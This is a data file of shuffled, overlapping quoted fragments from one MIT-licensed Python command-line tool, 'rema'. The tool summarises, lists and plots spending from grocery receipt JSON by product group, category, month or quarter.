"AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT OF OR",
"persons to whom the Software is ## furnished to do so, subject to",
"item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary",
"## The MIT License (MIT) ## ## Permission is hereby granted, free of",
"pdata: pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with",
"header_key in summary: transactions = summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse",
"OR THE USE OR OTHER DEALINGS IN THE ## SOFTWARE. ## ###################################################################### import",
"= r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort",
"a copy ## of this software and associated documentation files (the \"Software\"), to",
"groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if",
"import click from collections import OrderedDict import matplotlib.pyplot as plt import pandas as",
"list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by",
"datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\" + str(d.month)",
"[kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print",
"self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat ==",
"AND NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE",
"FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN ACTION OF",
"data[key]: val = el[0] name = el[1] if name not in pdata: pdata[name]",
"cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r = rema(data) if(json): r.oformat = \"json\" else:",
"associated documentation files (the \"Software\"), to deal ## in the Software without restriction,",
"included in all ## copies or substantial portions of the Software. ## ##",
"__init__(self,file): with open(file,\"r\") as f: jsonobj = json.load(f) cat_fn = \"categories.json\" categories =",
"type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file",
"software and associated documentation files (the \"Software\"), to deal ## in the Software",
"+= item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for",
"file r = rema(data) if(json): r.oformat = \"json\" else: r.oformat = \"str\" ctx.obj['rema']",
"SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES",
"listofTuples: if(count >= maxcount): continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass",
"to deal ## in the Software without restriction, including without limitation the rights",
"\"Software\"), to deal ## in the Software without restriction, including without limitation the",
"per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot",
"PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING",
"matplotlib.pyplot as plt import pandas as pd class rema: def __init__(self,file): with open(file,\"r\")",
"if self.categories is None and category: print(\"Could not find categories.json. Can't run this",
"IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED,",
"transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month =",
"the Software is ## furnished to do so, subject to the following conditions:",
"pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat == \"json\"):",
"in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a",
"click from collections import OrderedDict import matplotlib.pyplot as plt import pandas as pd",
"## ## The above copyright notice and this permission notice shall be included",
"summary: transactions = summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse = True,",
"shall be included in all ## copies or substantial portions of the Software.",
"USE OR OTHER DEALINGS IN THE ## SOFTWARE. ## ###################################################################### import os import",
"== \"json\"): print(json.dumps(data,indent=4)) else: for el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered",
"r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of",
"publish, distribute, sublicense, and/or sell ## copies of the Software, and to permit",
"of this software and associated documentation files (the \"Software\"), to deal ## in",
"group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all",
"rema: def __init__(self,file): with open(file,\"r\") as f: jsonobj = json.load(f) cat_fn = \"categories.json\"",
"#plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description)",
"###################################################################### ## Copyright (c) 2019 <NAME>, Norway ## ################################################################### ## Created : wulff",
"## copies or substantial portions of the Software. ## ## THE SOFTWARE IS",
"ordered dictionary where each item is a (number,description) touple\"\"\" pdata = dict() #-",
"## ## Permission is hereby granted, free of charge, to any person obtaining",
"= 0 for s in listofTuples: if(count >= maxcount): continue else: count +=",
"\":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #----------------------------------------------------------",
"s in listofTuples: if(count >= maxcount): continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot):",
"copies or substantial portions of the Software. ## ## THE SOFTWARE IS PROVIDED",
"find categories.json. Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions:",
"categories self.obj = jsonobj self.oformat = \"str\" def printGroups(self): groups = dict() transactions",
"where each item is a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for",
"self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key == keyName): key",
"## ################################################################### ## The MIT License (MIT) ## ## Permission is hereby granted,",
"import OrderedDict import matplotlib.pyplot as plt import pandas as pd class rema: def",
"open(file,\"r\") as f: jsonobj = json.load(f) cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)):",
"el in data[key]: val = el[0] name = el[1] if name not in",
"for key in data: for el in data[key]: val = el[0] name =",
"2019-3-25 ## ################################################################### ## The MIT License (MIT) ## ## Permission is hereby",
"subject to the following conditions: ## ## The above copyright notice and this",
"## The above copyright notice and this permission notice shall be included in",
"name = el[1] if name not in pdata: pdata[name] = dict() pdata[name]['yval'] =",
"\"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\" pdata = dict()",
"2019 <NAME>, Norway ## ################################################################### ## Created : wulff at 2019-3-25 ## ###################################################################",
"## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,",
"output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r = rema(data) if(json):",
"this software and associated documentation files (the \"Software\"), to deal ## in the",
"jsonobj self.oformat = \"str\" def printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for",
"= sorted(transactions.items() ,reverse = True, key=lambda x: x[1]) count = 0 for s",
"format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r = rema(data) if(json): r.oformat",
"summary = dict() if self.categories is None and category: print(\"Could not find categories.json.",
"notice and this permission notice shall be included in all ## copies or",
"+ \":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface",
"if(count >= maxcount): continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else:",
"json import sys import collections import datetime import click from collections import OrderedDict",
"= str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not in",
"ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN ACTION OF CONTRACT,",
"person obtaining a copy ## of this software and associated documentation files (the",
"@click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter):",
"json.load(f) self.categories = categories self.obj = jsonobj self.oformat = \"str\" def printGroups(self): groups",
"NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE",
"FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ##",
"deal ## in the Software without restriction, including without limitation the rights ##",
"CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ##",
"elif(quarter): header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key",
"in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1),",
"HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN",
"else: for el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each",
"= \"str\" def printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in",
"items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el in data: print(el) def plotDictWithTouple(self,data):",
"EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,",
"if(header_key not in summary): summary[header_key] = dict() for item in t[\"Receipt\"]: key =",
"interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def cli(ctx,data,json):",
"0 for s in listofTuples: if(count >= maxcount): continue else: count += 1",
"self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \"",
"copies of the Software, and to permit persons to whom the Software is",
"datetime import click from collections import OrderedDict import matplotlib.pyplot as plt import pandas",
"dict() for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key in self.categories",
"= item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in summary: transactions",
"WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT",
"d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\" + str(d.month) elif(quarter): header_key",
"key in data: for el in data[key]: val = el[0] name = el[1]",
"copyright notice and this permission notice shall be included in all ## copies",
"\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT",
"if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories = json.load(f) self.categories = categories self.obj =",
"self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key =",
"SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ##",
"print(json.dumps(data,indent=4)) else: for el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where",
"FROM, ## OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE",
"import datetime import click from collections import OrderedDict import matplotlib.pyplot as plt import",
"ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if __name__ == \"__main__\": cli(obj",
"without restriction, including without limitation the rights ## to use, copy, modify, merge,",
"A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS OR",
"all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if __name__ == \"__main__\": cli(obj = {})",
"as pd class rema: def __init__(self,file): with open(file,\"r\") as f: jsonobj = json.load(f)",
"file\") @click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def",
"None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories = json.load(f) self.categories = categories self.obj",
"OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT",
"print(str(key) + \":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line",
"for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False):",
"in summary: transactions = summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse =",
"not find categories.json. Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in",
"in self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key == keyName):",
"###################################################################### import os import json import sys import collections import datetime import click",
"= el[1] if name not in pdata: pdata[name] = dict() pdata[name]['yval'] = list()",
"list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key)",
"FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS",
"or substantial portions of the Software. ## ## THE SOFTWARE IS PROVIDED \"AS",
"import matplotlib.pyplot as plt import pandas as pd class rema: def __init__(self,file): with",
"\"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\" if(self.oformat == \"json\"):",
"TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.",
"Software without restriction, including without limitation the rights ## to use, copy, modify,",
"The above copyright notice and this permission notice shall be included in all",
"pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd():",
"of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el in data: print(el) def",
"\"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to",
"categories.json. Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr=",
"restriction, including without limitation the rights ## to use, copy, modify, merge, publish,",
"plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\")",
"= False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is None and category: print(\"Could not",
"self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in summary: transactions = summary[header_key]",
">= maxcount): continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data)",
"key = item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key]",
"rights ## to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ##",
"1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is",
"## copies of the Software, and to permit persons to whom the Software",
"in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key in self.categories ): key =",
"@click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r",
"of the Software. ## ## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY",
"header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not",
"WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO",
"line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def",
"= dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for",
"else: r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number",
"## to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ## copies",
"################################################################### ## The MIT License (MIT) ## ## Permission is hereby granted, free",
"to do so, subject to the following conditions: ## ## The above copyright",
"SOFTWARE. ## ###################################################################### import os import json import sys import collections import datetime",
"COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER",
"+ \"-\" + str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else:",
"item is a (number,description) touple\"\"\" pdata = dict() #- Reorganize data for key",
"def printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for",
"plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary",
"in all ## copies or substantial portions of the Software. ## ## THE",
"\"json\"): print(json.dumps(data,indent=4)) else: for el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary",
"== \"json\"): print(json.dumps(data,indent=4)) else: for key in data: print(str(key) + \":\") for el",
"if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot):",
"= str(d.year) + \"-\" + str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\" +",
"self.obj = jsonobj self.oformat = \"str\" def printGroups(self): groups = dict() transactions =",
"<NAME>, Norway ## ################################################################### ## Created : wulff at 2019-3-25 ## ################################################################### ##",
"item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category and key in self.categories ): key",
"THE USE OR OTHER DEALINGS IN THE ## SOFTWARE. ## ###################################################################### import os",
"str(d.year) + \"-\" + str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter)",
"header_key = str(d.year) if(header_key not in summary): summary[header_key] = dict() for item in",
"else: for key in data: print(str(key) + \":\") for el in data[key]: print(\"\\t%.1f\\t%s\"",
"dictionary where each item is a (number,description) touple\"\"\" pdata = dict() #- Reorganize",
"OTHERWISE, ARISING FROM, ## OUT OF OR IN CONNECTION WITH THE SOFTWARE OR",
"## SOFTWARE. ## ###################################################################### import os import json import sys import collections import",
"= \"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories = json.load(f)",
"ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT OF OR IN",
"Software. ## ## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY",
"transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] =",
"category: print(\"Could not find categories.json. Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for",
"OR OTHER DEALINGS IN THE ## SOFTWARE. ## ###################################################################### import os import json",
"ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES",
"t in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def",
"def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if __name__ ==",
"list() listofTuples = sorted(transactions.items() ,reverse = True, key=lambda x: x[1]) count = 0",
"is ## furnished to do so, subject to the following conditions: ## ##",
"wulff at 2019-3-25 ## ################################################################### ## The MIT License (MIT) ## ## Permission",
"and to permit persons to whom the Software is ## furnished to do",
"Created : wulff at 2019-3-25 ## ################################################################### ## The MIT License (MIT) ##",
"= list() listofTuples = sorted(transactions.items() ,reverse = True, key=lambda x: x[1]) count =",
"groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item in",
"is hereby granted, free of charge, to any person obtaining a copy ##",
"notice shall be included in all ## copies or substantial portions of the",
"IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT",
"= summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse = True, key=lambda x:",
"as f: categories = json.load(f) self.categories = categories self.obj = jsonobj self.oformat =",
"def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in summary: transactions = summary[header_key] data[header_key]",
"summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse = True, key=lambda x: x[1])",
"ctx.ensure_object(dict) #Load the file r = rema(data) if(json): r.oformat = \"json\" else: r.oformat",
"plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data):",
"os import json import sys import collections import datetime import click from collections",
"pd class rema: def __init__(self,file): with open(file,\"r\") as f: jsonobj = json.load(f) cat_fn",
"WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ## SOFTWARE.",
"not in summary): summary[header_key] = dict() for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"]",
"IN THE ## SOFTWARE. ## ###################################################################### import os import json import sys import",
"## Copyright (c) 2019 <NAME>, Norway ## ################################################################### ## Created : wulff at",
"MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL",
"plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\"",
"OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY,",
"print(\"Could not find categories.json. Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t",
"if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key in data: print(str(key) + \":\") for",
"whom the Software is ## furnished to do so, subject to the following",
"## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS",
"TORT OR OTHERWISE, ARISING FROM, ## OUT OF OR IN CONNECTION WITH THE",
"#- Reorganize data for key in data: for el in data[key]: val =",
"copy, modify, merge, publish, distribute, sublicense, and/or sell ## copies of the Software,",
"## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS",
"self.oformat = \"str\" def printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t",
"dict() #- Reorganize data for key in data: for el in data[key]: val",
"printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is None and category: print(\"Could",
"DEALINGS IN THE ## SOFTWARE. ## ###################################################################### import os import json import sys",
"1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of",
"per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if",
"## of this software and associated documentation files (the \"Software\"), to deal ##",
"@click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups()",
"THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN",
"for el in data[key]: val = el[0] name = el[1] if name not",
"## Created : wulff at 2019-3-25 ## ################################################################### ## The MIT License (MIT)",
"data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set",
"\" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is",
"## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE",
"CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT OF OR IN CONNECTION WITH",
"data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description)",
"OTHER ## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING",
"data for key in data: for el in data[key]: val = el[0] name",
"@click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the",
"class rema: def __init__(self,file): with open(file,\"r\") as f: jsonobj = json.load(f) cat_fn =",
"where each item is a (number,description) touple\"\"\" pdata = dict() #- Reorganize data",
"in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\"",
"= OrderedDict() for header_key in summary: transactions = summary[header_key] data[header_key] = list() listofTuples",
"key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1,",
"\"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories = json.load(f) self.categories",
"OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT OF OR IN CONNECTION",
"and associated documentation files (the \"Software\"), to deal ## in the Software without",
"item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in summary: transactions =",
"Permission is hereby granted, free of charge, to any person obtaining a copy",
"NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE",
"THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR",
"= dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item in t[\"Receipt\"]:",
"The MIT License (MIT) ## ## Permission is hereby granted, free of charge,",
"+ str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key =",
"NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY",
"categories = json.load(f) self.categories = categories self.obj = jsonobj self.oformat = \"str\" def",
"BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN",
"1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item",
"and this permission notice shall be included in all ## copies or substantial",
"without limitation the rights ## to use, copy, modify, merge, publish, distribute, sublicense,",
"= str(d.year) if(header_key not in summary): summary[header_key] = dict() for item in t[\"Receipt\"]:",
"data = OrderedDict() for header_key in summary: transactions = summary[header_key] data[header_key] = list()",
"else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print",
"IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR",
"data: print(str(key) + \":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command",
"portions of the Software. ## ## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT",
"in data[key]: val = el[0] name = el[1] if name not in pdata:",
"any person obtaining a copy ## of this software and associated documentation files",
"including without limitation the rights ## to use, copy, modify, merge, publish, distribute,",
